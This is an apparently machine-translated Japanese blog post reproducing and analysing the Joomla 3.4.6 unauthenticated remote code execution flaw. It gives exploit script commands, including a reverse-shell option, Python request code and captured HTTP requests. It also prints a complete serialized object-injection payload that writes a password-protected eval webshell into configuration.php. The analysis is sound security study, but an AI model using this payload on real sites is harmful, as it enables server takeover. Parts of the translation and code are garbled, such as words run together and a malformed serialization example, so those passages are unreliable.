0x01Joomlaの紹介
Joomla!は、PHPで記述された、無料のオープンソースコンテンツ管理システムのセットです。ワールドワイドウェブおよびイントラネットでコンテンツを公開するために使用され、通常、商用Webサイト、個人ブログ、情報管理システム、Webサービスなどを構築するために使用されます。また、使用範囲を拡大するために二次開発を実施します。現在、最新バージョン3.9.11、Joomla!は、GPLの下でライセンスされている無料のオープンソースソフトウェアのセットであり、誰でもJoomla!をダウンロードして、いつでも使用できます。
0x02の脆弱性の概要
エクスプロイト-db(https://www.exploit-db.com/exploits/47465)では、Joomlaコマンドによって実行されたEXPが解放されます。脆弱性の本質は、Joomlaがセッションデータを不適切に処理することです。許可されていない攻撃者は慎重に送信できます。リモートコマンドの実行を実現し、サーバーのアクセス許可を取得するために悪意のあるHTTPリクエストを作成しました。
0x03影響範囲
Joomla3.0.0から3.4.6
0x04Joomla環境構築
1.phpstudy統合環境を使用してビルドするだけです
joomla 3.4.6をダウンロードします。Joomlaのダウンロードアドレス:https: //downloads.joomla.org/it/cms/joomla3/3-4-6
ダウンロードが完了したら、WWWルートディレクトリにドラッグし、http://127.0.0.1/joomla(インストールしたディレクトリ)にアクセスします。次のインストールインターフェイスに自動的にジャンプします。プロンプトに従ってインストールしてください。
関連情報を入力し、[次へ]をクリックします
インストールディレクトリを削除した後、Webサイトをクリックするか、http://127.0.0.1/joomla(インストールディレクトリ)にアクセスすると、次のサイトにアクセスできます。
訪問は成功し、Joomla3.4.6のブログバージョンが作成されました。
0x05EXPダウンロードとエクスプロイト
ダウンロードアドレスをお勧めします。もちろん、自分でダウンロードすることもできます:https:
//github.com/ianxtianxt/Joomla-3.4.6—configuration.php-Remote-Code-Execution
python3を使用して、ダウンロードしたpyスクリプトを実行します。ps:ここでスクリプト名の名前を変更しました。入力:
python3 Joomla-3.4.6-RCE.py -h、コマンドパラメータを確認しますが、関連するpipが欠落していることを確認し、ライブラリのインストールを開始し、操作を続行します
EXPの使い方
影響範囲:3.0.0-3.4.61。脆弱性の検証
python3 Joomla-3.4.6-RCE.py -t http://127.0.0.1/joomla
「脆弱性」を表示すると、脆弱性があることが証明されます
python3 test.py -t http://127.0.0.1/joomla –exploit –lhost vps –lport port
実行成功
そして、「configuration.php」にランダムなパスワードでトロイの木馬という単語を書きます
検証の脆弱性
python3 Joomla-3.4.6-RCE.py -t http://127.0.0.1/joomla/
エクスプロイト
python3 Joomla-3.4.6-RCE.py -t http://127.0.0.1/joomla/ -e -l 127.0.0.1 -p 2222
-l target ip、-p + port(ランダムにすることができ、競合は十分ではありません)
ここにはリバースシェルはありませんが、図に示すように、生成された馬のパスワードを確認できます。
configuration.phpファイルが実際に1文のトロイの木馬を生成するかどうかを見てみましょう。
一文のトロイの木馬接続アドレス:
http://127.0.0.1/joomla/configuration.php
ランダムパスワード:jjdbzbpipkpfjszvromojjwtozscwjimbhfegwfmquhmbtdgum
0x06脆弱性分析
FREEBUFの脆弱性分析を使用して、大物はそれを完璧に書きました。
脆弱性を再現し、pyスクリプトを分析することで、シェルをアップロードする際に次の手順があることがわかります。この手動手順の理由は、主にJoomlaセッションメカニズムに関連しています。
1.クッキーを取得する
コード:
burpeuiteによってキャプチャされた要求パケット1
GET/Joomla/3.4.6/index.php/component/users HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
2. csrf-tokenを取得します (キーステップ)
コード:
defget_token(url, cook):
token =''
resp = requests.get(url, cookies=cook,proxies = PROXS)
html =BeautifulSoup(resp.text,'html.parser')
# csrftoken is the last input
for v inhtml.find_all('input'):
csrf = v
csrf =csrf.get('name')
returncsrf
burpeuiteによってキャプチャされたパッケージ2を要求します。
GET/Joomla/3.4.6/index.php/component/users HTTP/1.1
Host: 127.0.0.1
User-Agent: python-requests/2.22.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: close
Cookie: dc674b0eef3d2412c63832504cf5ac18=sfoodgd4m6fj2c1895u5b2tmp6;
主に返品パッケージからcsrftokenを抽出します
3.ペイロードの生成2つのペイロードがあります
バックドアペイロード
コード:
PHPに付属のfile_put_contents関数を使用して、Webシェルをconfiguration.phpに書き込みます。Webシェルのコンテンツは次のとおりです。
'if(isset($_POST[\'scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay\']))eval($_POST[\'scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay\']);'
リバウンドペイロード
4. webshellに書き込んでリクエストを送信すると、主にユーザー名、パスワード、オプション、タスク、csrftokenなどのフィールドが作成されます。
def make_req(url, object_payload):
# justmake a req with object
print_info('Getting Session Cookie ..')
cook = get_cook(url)
print_info('Getting CSRF Token ..')
csrf =get_token( url, cook)
user_payload = '\\0\\0\\0' * 9
padding= 'AAA' # It will land at this padding
working_test_obj = 's:1:"A":O:18:"PHPObjectInjection":1:{s:6:"inject";s:10:"phpinfo();";}'
clean_object = 'A";s:5:"field";s:10:"AAAAABBBBB' #working good without bad effects
inj_object = '";'
inj_object += object_payload
inj_object += 's:6:"return";s:102:' # end the object with the'return' part
password_payload = padding + inj_object
params ={
'username': user_payload,
'password': password_payload,
'option':'com_users',
'task':'user.login',
csrf:'1'
}
print_info('Sending request ..')
resp = requests.post(url, proxies= PROXS, cookies = cook,data=params)
returnresp.text
以下は、Burpsuite Capture3を介して取得したWebshellに書き込まれたリクエストパッケージです。
POST/Joomla/3.4.6/index.php/component/users HTTP/1.1Host: 127.0.0.1User-Agent: python-requests/2.22.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeCookie:dc674b0eef3d2412c63832504cf5ac18=bg7tprkie898gu5luh1it52ga3Content-Length: 1136Content-Type: application/x-www-form-urlencodedusername=%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0%5C0&password=AAA%22%3Bs%3A11%3A%22maonnalezzo%22%3AO%3A21%3A%22JDatabaseDriverMysqli%22%3A3%3A%7Bs%3A4%3A%22%5C0%5C0%5C0a%22%3BO%3A17%3A%22JSimplepieFactory%22%3A0%3A%7B%7Ds%3A21%3A%22%5C0%5C0%5C0disconnectHandlers%22%3Ba%3A1%3A%7Bi%3A0%3Ba%3A2%3A%7Bi%3A0%3BO%3A9%3A%22SimplePie%22%3A5%3A%7Bs%3A8%3A%22sanitize%22%3BO%3A20%3A%22JDatabaseDriverMysql%22%3A0%3A%7B%7Ds%3A5%3A%22cache%22%3Bb%3A1%3Bs%3A19%3A%22cache_name_function%22%3Bs%3A6%3A%22assert%22%3Bs%3A10%3A%22javascript%22%3Bi%3A9999%3Bs%3A8%3A%22feed_url%22%3Bs%3A217%3A%22file_put_contents%28%27configuration.php%27%2C%27if%28isset%28%24_POST%5B%5C%27scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay%5C%27%5D%29%29+eval%28%24_POST%5B%5C%27scgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay%5C%27%5D%29%3B%27%2C+FILE_APPEND%29+%7C%7C+%24a%3D%27http%3A%2F%2Fwtf%27%3B%22%3B%7Di%3A1%3Bs%3A4%3A%22init%22%3B%7D%7Ds%3A13%3A%22%5C0%5C0%5C0connection%22%3Bi%3A1%3B%7Ds%3A6%3A%22return%22%3Bs%3A102%3A&option=com_users&task=user.login&03b291424900343c59f58ad131d087a7=1
5. Webシェルに接続して、書き込みが成功したかどうかをテストします
burpeuiteによってキャプチャされたパケット4を要求します。
POST /Joomla/3.4.6//configuration.php HTTP/1.1Host: 127.0.0.1User-Agent: python-requests/2.22.0Accept-Encoding: gzip, deflateAccept: */*Connection: closeContent-Length: 70Content-Type: application/x-www-form-urlencodedscgcapjoqwokhrtmlutbljpzmqzwcbncowtiztctfekiwtfzay=echo+%27PWNED%27%3B
この脆弱性は、Joomlaセッションの操作メカニズムに関連しています。Joomlaセッションは、PHPオブジェクトの形式でデータベースに保存され、PHPセッション関数によって処理されます。ただし、MysqlはNullバイトを保存できないため、関数はセッションをに書き込みます。データベースを読み取り、それを読み取ります。会議オブジェクトは不正であり、サイズが正しくないためにオーバーフローします。認証されていないユーザーのセッションも保存できるため、ログイン認証なしでオブジェクトインジェクション(オブジェクトインジェクション)が正常に攻撃され、RCEが発生する可能性があります。
1.オーバーフロー
JoomlaでPOSTリクエストを実行すると、通常、結果ページにリダイレクトする303リダイレクトが発生します。これは重要な使用事項です。最初のリクエスト(パラメーターを含む)はJoomlaにアクションを実行させ、セッションを保存(たとえば、write()関数を呼び出す)するだけで、その後303リダイレクトが取得されます(たとえば、read()関数を呼び出します)そして、ユーザーに情報を表示します。
エクスプロイトファイル「libraries / joomla / session / storage / database.php」で定義されている関数read()およびwrite()は、session_set_save_handler()によって「libraries / joomla / session / session.php:__ start」session_start()として設定されます。読み取りおよび書き込みハンドラーと呼ばれます。
MysqlはNullバイトを保存できないため、libraries / joomla / session / storage / database.phpの書き込み関数は、「002a00」(chr(0))を「データベースにデータを保存する前(書き込み関数)」に置き換えます。 。chr(0))であり、シリアル化されたオブジェクトでは、$ protected変数にプレフィックス「002a00」が割り当てられます。
データベース内のデータを読み取るとき、読み取り関数はそれを「002a00」(NN)に置き換えて、元のオブジェクトを再構築します。
この置換の主な問題は、6バイトが3バイトに置換されることです。この種のコードは、Joomla3.0.0から3.4.6に常に存在していました。バージョン3.4.7以降、セッションはbase64エンコーディングでデータベースに保存されます。
前述のように、アクションパラメータを読み書きして挿入することでセッションオブジェクトを操作でき、3バイトに置き換えられます。これにより、サイズが正しくない(バイト長が異なる)ためにオブジェクトが不正になります。オーバーフローが発生します。
栗をあげる
たとえば、ログインフォームで、ユーザー名フィールドに「my002a00username」と入力すると、書き込み関数が処理された後、次のオブジェクトがデータベースに取得されます。
s:8:s:"username";s:16:"my\0\0\0username"
読み取り関数でセッションオブジェクトが読み取られると、 ''は上記のように置き換えられ、次の値が取得されます。s:8:s: "username"; s:16: "myN * Nusername" –> noリーガルサイズ
置き換えられた文字列の長さはわずか13バイトですが、寿命の文字列の長さは16バイトのままです。この「オーバーフロー」をうまく利用して、RCEを実装できる新しいオブジェクトを構築できます。逆シリアル化されたオブジェクトを制御できたら、危険な操作を実行するために段階的に呼び出すことができる実行チェーンを構築するだけで済みます。今回公開されたPocでは、ユーザー名フィールドがオーバーフローに使用され、パスワードフィールドがオブジェクト注入に使用されます。シリアル化文字列を挿入すると、逆シリアル化の脆弱性が構築されます。これは、以前の脆弱性CVE-2015-8562と同様です。 。。
2.オブジェクトの注入(逆シリアル化) (この部分については、PHITHONのブログを参照してください)
CVE-2015-8562のPocは次のとおりです
User-Agent:123}__test|O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5
{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0
{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}4
この実行チェーンでは、次のクラスが使用されます:JDatabaseDriverMysqliおよびSimplePie
2.1JDatabaseDriverMysqliクラス
JDatabaseDriverMysqliクラスのデストラクタで機密性の高い操作を見つけることができます。
<?php
public function __destruct()
{
$this->disconnect();
}
...
publicfunction disconnect()
{
// Closethe connection.
if($this->connection)
{
foreach ($this->disconnectHandlers as $h)
{
call_user_func_array($h, array( &$this));
}
mysqli_close($this->connection);
}
$this->connection = null;
}
expオブジェクトが逆シリアル化されると、JDatabaseDriverMysqliクラスオブジェクトになります。途中でどのように実行されても、最終的には__destructを呼び出し、__ destructはdisconnectを呼び出し、disconnectには機密性の高い関数があります。
call_user_func_array。
しかし、明らかに、ここでのcall_user_func_arrayの2番目のパラメーターは私たちの制御を超えています。したがって、assert + evalを直接構築して、任意のコードを実行することはできません。
したがって、ここでオブジェクトが再度呼び出されます。SimplePieクラスオブジェクトとそのinitメソッドがコールバック関数[new SimplePie()、 'init']を形成し、call_user_func_arrayが渡されます。
initメソッドをフォローアップします。
<?php
function init()
{
// Checkabsolute bare minimum requirements.
if((function_exists('version_compare') && version_compare(PHP_VERSION,'4.3.0', '<')) || !extension_loaded('xml') || !extension_loaded('pcre'))
{
return false;
}
...
if($this->feed_url !== null || $this->raw_data !== null)
{
$this->data = array();
$this->multifeed_objects = array();
$cache = false;
if($this->feed_url !== null)
{
$parsed_feed_url = SimplePie_Misc::parse_url($this->feed_url);
// Decide whether to enable caching
if ($this->cache && $parsed_feed_url['scheme'] !== '')
{
$cache = call_user_func(array($this->cache_class, 'create'),$this->cache_location, call_user_func($this->cache_name_function,$this->feed_url), 'spc');
明らかに、これら2つのcall_user_funcが、コード実行をトリガーする原因になります。
したがって、2番目のcall_user_funcの最初のパラメーターcache_name_functionを割り当ててアサートし、2番目のパラメーターを実行する必要のあるコードに割り当てて「コールバックバックドア」を構築できます。
2.2SimplePieクラス
SimplePieはデフォルトでは定義されていません。そのため、JSimplepieFactoryオブジェクトはインポート関数を呼び出して、ロード時にSimplePieを現在の作業環境にインポートするため、SimplePieを呼び出す前に新しいJSimplepieFactoryを作成しました。
また、JSimplepieFactoryには自動ロードがあるため、ロードするために他のインクルードは必要ありません。
P牛のPoc
O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:37:"phpinfo();JFactory::getConfig();exit;";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}ð
前述のように、JoomlaのセッションメカニズムのPostリクエストは303までに結果ページにリダイレクトされるため、エコーすることはできません。ここでのphpinfo関数は、file_put_contents関数を使用してconfiguration.phpに文を書き込むことを選択する必要はありません。
file_put_contents('configuration.php','if(isset($_POST[\\\'test\\\']))eval($_POST[\\\'test\\\']);\', FILE_APPEND) || $a=\'http://wtf\';
最終的なオブジェクトは次のとおりです。
AAA";s:11:"maonnalezzo":O:21:"JDatabaseDriverMysqli":3:{s:4:"\0\0\0a";O:17:"JSimplepieFactory":0:{}s:21:"\0\0\0disconnectHandlers";a:1:{i:0;a:2:{i:0;O:9:"SimplePie":5:{s:8:"sanitize";O:20:"JDatabaseDriverMysql":0:{}s:5:"cache";b:1;s:19:"cache_name_function";s:6:"assert";s:10:"javascript";i:9999;s:8:"feed_url";s:217:"file_put_contents('configuration.php','if(isset($_POST[\'ja0k\']))+eval($_POST[\'ja0k\']);',+FILE_APPEND)+||+$a='http://wtf';";}i:1;s:4:"init";}}s:13:"\0\0\0connection";i:1;}s:6:"return";s:102:
0x07修理の提案
最新バージョンに更新する
コードとツールのダウンロード:
https://github.com/SecurityCN/Vulnerability-analysis/blob/master/Joomla/Joomla3.4.6-RCE
免責事項:この記事に記載されているエクスプロイトPocおよびスクリプトは、調査および調査のみを目的としています。「ネットワークセキュリティ法」およびその他の関連する法律および規制を遵守してください。
参照:
[1]。https://cxsecurity.com/issue/WLB-2019100045
[2]。https://www.leavesongs.com/PENETRATION/joomla-unserialize-code-execute-vulnerability.html
次のことを示してください:Adminxeのブログ » Joomla-3.4.6リモートコード実行の脆弱性の悪用と分析